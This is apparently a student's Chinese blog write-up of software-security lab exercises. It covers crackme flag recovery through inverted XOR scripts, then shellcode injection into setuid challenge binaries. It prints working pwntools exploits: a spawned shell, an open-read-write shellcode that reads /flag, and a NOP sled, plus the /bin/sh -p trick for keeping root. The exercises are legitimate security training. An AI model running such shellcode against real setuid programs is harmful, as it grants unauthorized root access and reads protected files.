软件安全学习课程实践3:软件漏洞利用实验

news2024/11/28 6:35:17

1 逆向分析

1.1.1 和 1.1.2 直接 F5 看 flag 就可以了,故略。
1.1.3 对输入用了算法变换,能看到flag,比如输入x,经过f处理成f(x)然后判断f(x)=y,现在要破解f的算法然后写个逆预算g(y)=x


这个代码看起来很抽象,因为 IDA 没有正确的恢复这里的变量结构。选中变量按“N”重命名,按“Y”更改类型

这里很明显是一个buf数组,IDA识别成两个变量,按Y修改为char buf[20]数组


flag是qoahcvzysugsbzjqhfw,交换一下buf[7]和buf[16]即可,即qoahcvzhsugsbzjqyfw

1.1.4 这是一个一个大一时就学过的简单算法
同理先修正变量类型,改为char数组


需要复制这个数据,按【Shift+E】快速复制


第一部分冒泡排序,升序。

第二部分前一半字符和后一半字符对换。

第三部分异或加密。

第四部分再次对换。

再次异或加密。现在要破解这个算法求逆运算,最终密文是:“0x1629DD1125D01D27D21F20D61A23D7073ECB013BCF0C35C00D34C20E”
POC如下:

hexdata = "1629DD1125D01D27D21F20D61A23D7073ECB013BCF0C35C00D34C20E"
arr = bytearray(bytes.fromhex(hexdata))
for ii in range(0, 28):
    v4 = ii % 3
    if ii % 3 == 2:
        arr[ii] ^= 0x93
    elif v4 <= 2:
        if v4:
            if v4 == 1:
                arr[ii] ^= 0x78
        else:
            arr[ii] ^= 0x90

for n in range(0, 14):
    tmp = arr[n]
    arr[n] = arr[27-n]
    arr[27-n] = tmp

for m in range(0, 28):
    v3 = m % 3
    if m % 3 == 2:
        arr[m] ^= 0x35
    elif v3 <= 2:
        if v3:
            if v3 == 1:
                arr[m] ^= 0x2B
        else:
            arr[m] ^= 0xE4

for n in range(0, 14):
    tmp = arr[n]
    arr[n] = arr[27-n]
    arr[27-n] = tmp

1.1.5 这是一个简单的算法逆向,如果你暂时解决不出来,可以先完成其他单元


同理先修复数据格式。

后面同理。POC如下:

hexdata = "002AD77CE7562239F56DC9490F25D976EC5D2A2FE378D2541339C46CF9483C26E970DB5B1B"
buf = bytearray(bytes.fromhex(hexdata))

for kk in range(0,18):
    v4 = buf[kk]
    buf[kk] = buf[36-kk]
    buf[36-kk] = v4
    
for jj in range(0,37):
    mark = jj % 6
    if mark == 0: buf[jj] ^= 0x52
    elif mark == 1: buf[jj] ^= 0x70
    elif mark == 2: buf[jj] ^= 0xB6
    elif mark == 3: buf[jj] ^= 0x4A
    elif mark == 4: buf[jj] ^= 0xA4
    else: buf[jj] ^= 0x0F

for ii in range(0,37):
    buf[ii] ^= 0x18
    
for k in range(37):
    v3 = k % 4
    if v3 == 3: buf[k] ^= 0x47
    elif v3 == 2: buf[k] ^= 0x11
    elif v3 == 1: buf[k] ^= 0x57
    else: buf[k] ^= 0x30

print(buf)

2 shellcode 注入

3.2.1 这是一个没有任何限制的 shellcode

Welcome to ./1-2-1!
This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every
execution, your shellcode will need to be *position-independent*.

Allocated 0x1000 bytes for shellcode on the stack at 0x7ffe115ecca0!
Reading 0x1000 bytes from stdin.

hacker@shellcode-1-2-1:/challenge$ checksec ./1-2-1
[*] '/challenge/1-2-1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable
    RWX:      Has RWX segments

栈上可以直接执行

void *shellcode_mem;
size_t shellcode_size;

int main(int argc, char **argv, char **envp)
{
   
 
    uint8_t shellcode[0x1000];
    shellcode_mem = (void *)&shellcode;
    shellcode_size = read(0, shellcode_mem, 0x1000);
    assert(shellcode_size > 0);
    
    puts("Reading 0x1000 bytes from stdin.\n");
    shellcode_size = read(0, shellcode_mem, 0x1000);
    assert(shellcode_size > 0);

    puts("This challenge is about to execute the following shellcode:\n");
    print_disassembly(shellcode_mem, shellcode_size);
    puts("");

    puts("Executing shellcode!\n");
    ((void(*)())shellcode_mem)();
}


这个程序带有 s 权限,注入 shellcode 可以获得 root
制作 shellcode 有多种方式,比如自己写一个C程序然后扒机器码,要么是基于 pwntools 的 shellcraft 模块。第二小节的作业需要学习 pwntools 工具。

原本写的POC如下:

from pwn import *
context(arch = 'amd64', os = 'linux')
shellcode = asm(shellcraft.sh())
p = process('./1-2-1')
p.sendline(shellcode)
p.recv()
p.interactive()


getshell 后发现权限不够,所以只能通过 shellcode 直接写一个 open-read-write 即 orw shellcode (就是直接借助宿主程序的s权限完成文件读操作然后输出)
这个可以参考 orw_shellcode_模板

EXP 如下:

from pwn import *
context(arch="amd64", os="linux")

p = process('/challenge/1-2-1')

sh=shellcraft.open('/flag')
sh+=shellcraft.read(3,'rsp',0x100)
sh+=shellcraft.write(1,'rsp',0x100)
sh=asm(sh)
p.sendline(sh)
p.interactive()

关于文件描述符补充信息如下:

【↓以下来自gpt4,内容请自行鉴别】
文件描述符(File Descriptor)是一个用于访问文件或输入/输出资源的非负整数。在类 Unix 操作系统中,文件描述符被用来访问和管理文件和其他类型的 I/O 资源,如管道和网络连接。文件描述符是一个抽象层,使得程序可以统一地处理各种类型的 I/O。
在 Unix 和类 Unix 系统中,有三个标准的文件描述符,它们有特定的用途:

  1. 文件描述符 0:标准输入(Standard Input,缩写为 stdin)。这通常是程序读取输入的地方,比如从键盘、文件或其他程序。
  2. 文件描述符 1:标准输出(Standard Output,缩写为 stdout)。这是程序输出数据的默认目的地,通常是终端(控制台)或者另一个程序。
  3. 文件描述符 2:标准错误(Standard Error,缩写为 stderr)。这是程序写入错误消息的地方。标准错误通常也输出到终端,但它可以被重定向到不同的地方,这样错误信息和标准输出就可以分开处理。
    除了这三个标准的文件描述符之外,当程序打开新的文件或创建管道和网络连接时,系统会分配新的文件描述符。这些文件描述符通常从 3 开始递增分配。例如:
  • 文件描述符 3:这通常是程序运行时打开的第一个文件或者创建的第一个管道/网络连接的文件描述符。

文件描述符是一个重要的概念,因为它们提供了一种统一的方法来处理不同类型的输入和输出。在编写涉及文件操作、管道通信或网络编程的程序时,理解和正确使用文件描述符非常关键。

这里的3表示是打开一个 file io,下面的1代表stdout,所以实现了读文件然后在命令行输出的功能

拿到 flag:

讲题 POC:

如果不加-p的话没有root权限

/bin/sh -p 中的 -p 参数用于在调用 shell 时保留调用者的环境。这意味着在使用 -p 选项启动 shell 时,某些环境变量(如 PATH)将不会被重置为它们的默认值,而是保持不变。这通常用于确保在脚本或命令行中调用的 shell 具有与原始用户环境相同的特权级别和环境设置。

其他做法:

3.2.2 nop sled 是一种常见的 shellcode 注入技巧

###
### Welcome to /challenge/1-2-2!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every
execution, your shellcode will need to be *position-independent*.

Allocated 0x1000 bytes for shellcode on the stack at 0x7ffc5a46e3a0!
Reading 0x1000 bytes from stdin.
int main(int argc, char **argv, char **envp)
{
   
    assert(argc > 0);

    for (int i = 3; i < 10000; i++) close(i);
    for (char **a = argv; *a != NULL; a++) memset(*a, 0, strlen(*a));
    for (char **a = envp; *a != NULL; a++) memset(*a, 0, strlen(*a));

    uint8_t shellcode[0x1000];
    shellcode_mem = (void *)&shellcode;

    puts("Reading 0x1000 bytes from stdin.\n");
    shellcode_size = read(0, shellcode_mem, 0x1000);
    assert(shellcode_size > 0);

    puts("Executing filter...\n");
    srand(time(NULL));
    int to_skip = (rand() % 0x700) + 0x100;
    shellcode_mem += to_skip;
    shellcode_size -= to_skip;

    puts("This challenge is about to execute the following shellcode:\n");
    print_disassembly(shellcode_mem, shellcode_size);
    puts("");

    puts("Executing shellcode!\n");
    ((void(*)())shellcode_mem)();
}

因为shellcode地址加了一个小范围随机值,我们考虑用NOP填充超过这个随机区间即可,修改poc:

from pwn import *
context(arch="amd64", os="linux")

p = process('/challenge/1-2-2')


nop_sled = asm('nop') * 0x800
sh=shellcraft.open('/flag')
sh+=shellcraft.read(3,'rsp',0x100)
sh+=shellcraft.write(1,'rsp',0x100)
sh=asm(sh)
sh = nop_sled + sh
p.sendline(</

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1218674.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023年中国开式冷却塔应用现状及行业市场规模前景分析[图]

开式塔是目前应用最广、类型最多的一种冷却系统。循环水移走工艺介质或换热设备所散发的热量后成为热水&#xff0c;热水进入冷却塔后和空气直接接触&#xff0c;大部分热水得到冷却后&#xff0c;再循环使用。开式冷却塔又可以分为逆流式冷却塔和横流式冷却塔&#xff0c;按照…

Spring Cloud Hystrix:服务容错保护

&#x1f497;wei_shuo的个人主页 &#x1f4ab;wei_shuo的学习社区 &#x1f310;Hello World &#xff01; Spring Cloud Hystrix&#xff1a;服务容错保护 Spring Cloud Hystrix是Spring Cloud中的一个子项目&#xff0c;主要用于服务容错保护&#xff1b;分布式系统中&…

muduo源码剖析之TcpServer服务端

简介 TcpServer拥有Acceptor类&#xff0c;新连接到达时new TcpConnection后续客户端和TcpConnection类交互。TcpServer管理连接和启动线程池&#xff0c;用Acceptor接受连接。 服务端封装 - muduo的server端维护了多个tcpconnection 注意TcpServer本身不带Channel&#xff0…

员工电脑管理软件,企业电脑管理软件是什么

员工电脑管理软件&#xff0c;企业电脑管理软件是什么 企业电脑管理软件是指用于管理和监控企业员工工作电脑的软件。这些软件通常提供多种功能&#xff0c;旨在帮助企业管理员工电脑的使用、监控和维护&#xff0c;同时确保信息安全、提高生产力并确保合规性。推荐一款功能强…

【Attack】针对GNN-based假新闻检测器

Attacking Fake News Detectors via Manipulating News Social Engagement AbstractMotivationContributions FormulationMethodologyAttacker Capability&#xff08;针对挑战1&#xff09;Agent Configuration&#xff08;针对挑战3&#xff09; WWW’23, April 30-May 4, 20…

第14届蓝桥杯青少组python试题解析:23年5月省赛

选择题 T1. 执行以下代码&#xff0c;输出结果是&#xff08;&#xff09;。 lst "abc" print(lstlst)abcabc abc lstlst abcabc T2. 执行以下代码&#xff0c;输出的结果是&#xff08;&#xff09;。 age {16,18,17} print(type(sorted(age)))<class set&…

深度学习入门(第四天)——递归神经网络与词向量原理解读

一、RNN网络架构解读 常规神经网络并不能考虑时间序列的特征&#xff08;比如前天昨天今天或者带有前后关联的特征&#xff09;&#xff0c;现在每个特征都是独立考虑的&#xff0c;那么如果有这样的特征&#xff0c;网络应该怎么学呢 而递归递归网络hidden这里的转回箭头&…

NSS [NISACTF 2022]bingdundun~

NSS [NISACTF 2022]bingdundun~ 考点&#xff1a;phar伪协议 点击连接&#xff0c;跳转到上传文件界面 提示只能上传图片或者压缩包 同时注意到了&#xff0c;url栏有个GET传参。传值为index试试&#xff0c;发现回显好多个//index.php&#xff0c;猜测这里传参&#xff0c;…

wpf devexpress添加TreeListControl到项目

此教程示范如何添加TreeListControl到项目和绑定控件自引用数据源&#xff1a; 添加数据模型 绑定tree&#xff0c;并添加如下字段到数据源对象&#xff1a; Key字段包含唯一值索引节点 Parent字段包含父索引节点 添加数据模型&#xff08;Employee和Staff类&#xff09;到…

初学UE5 C++②

目录 导入csv表格数据 创建、实例化、结构体 GameInstance Actor camera 绑定滚轮控制摇臂移动 碰撞绑定 角色碰撞设定 按钮 UI显示 单播代理 多播和动态多播 写一个接口 其他 NewObject 和 CreateDefaultSubobject区别 导入csv表格数据 创建一个object的C类 …

微信聊天审计软件,微信聊天记录监管系统

微信聊天审计软件&#xff0c;微信聊天记录监管系统 微信聊天已经成为人们工作中不可或缺的一部分。它不仅改变了我们的沟通方式&#xff0c;还为我们的工作带来了诸多便利。但同时也带来了一些安全风险&#xff0c;如信息泄露、不当言论等&#xff0c;然而&#xff0c;微信聊…

9.jvm调优相关工具-java自带

目录 概述jdk工具包jpsjps -qjps -mjps -vjps -l jstatjstat -gcjstat -gcutiljinfo jmapjmap heapjmap histo[:live]jmap clstatsjmap dump jhatjstack 结束 概述 做了一些 1.8 与1.17.x jdk对比&#xff0c;最重要的是实际操作一次。 这些是java自带的命令&#xff0c;属于离…

Windows电脑画面如何投屏到电视?怎样限定投屏内容?

电视通常比计算机屏幕更大&#xff0c;因此将电脑画面投射到电视上可以提供更广阔的视野和更好的视觉体验。通过将电脑画面投射到电视上&#xff0c;您可以与他人共享您的计算机屏幕上的内容。这对于展示演示文稿、观看影片或与他人分享照片等活动非常有用。 如果你的电脑系统是…

全球地表水数据集JRC Global Surface Water Mapping Layers, v1.2数据

简介&#xff1a; 全球地表水覆盖&#xff08;Global Surface Water&#xff09;是利用1984至2019年获取的landsat5、landsat7和landsat8的卫星影像&#xff0c;生成分辨率为30米的一套全球地表水覆盖的地图集。用户可以在全球尺度上按地区回溯某个时间上地表水分的变化情况。…

《C++避坑神器·十六》函数默认参数和占位参数

C中函数是可以给默认参数的 注意点&#xff1a; &#xff08;1&#xff09;一旦某个参数设置为默认参数&#xff0c;那跟着后面的所有参数都必须设置默认参数 &#xff08;2&#xff09;函数的声明和定义只能有一个可以设置默认参数&#xff0c;两个都设置会报错 int f1(int a…

Anaconda的安装使用及pycharm设置conda虚拟环境

1.python和包以及anaconda的概念关系 python “工人” 包 “工具” 环境 “工具箱” anaconda “放很多工具箱的大箱子” python等于工人这个好理解&#xff0c;就是编程需要用python来实现对应功能&#xff0c;即工人完成某项工程。 包等于工具&#xff0c;就是工人…

Consumer的负载均衡

想要提高Consumer的处理速度&#xff0c;可以启动多个Consumer并发处理&#xff0c;这个时候就涉及如何在多个Consumer之间负载均衡的问题&#xff0c;接下来结合源码分析Consumer的负载均衡实现。 要做负载均衡&#xff0c;必须知道一些全局信息&#xff0c;也就是一个Consum…

JVM-HotSpot虚拟机对象探秘

目录 一、对象的实例化 &#xff08;一&#xff09;创建对象的方式 &#xff08;二&#xff09;创建对象的步骤 二、对象的内存布局 &#xff08;一&#xff09;对象头 &#xff08;二&#xff09;实例数据 &#xff08;三&#xff09;对齐填充 三、 对象的访问定位 &…

绕过类安全问题分析方法

什么是绕过 逻辑漏洞是指程序设计中逻辑不严密&#xff0c;使攻击者能篡改、绕过或中断程序&#xff0c;令其偏离开发人员预期的执行。 常见表现形式 1、接口&#xff08;功能类&#xff09;绕过&#xff1a;即接口或功能中通过某参数&#xff0c;绕过程序校验 2、流程类绕…

c++虚函数纯虚函数详解加代码解释

c虚函数纯虚函数详解加代码解释 一.概念&#xff1a;二.虚函数示例及解析&#xff1a;三.纯虚函数示例及解析&#xff1a;四.验证和实际使用及解析&#xff1a;1.子类没有对父类的函数重载&#xff0c;mian()函数调用&#xff0c;是直接返回父类的值2.子类对父类的函数重载&…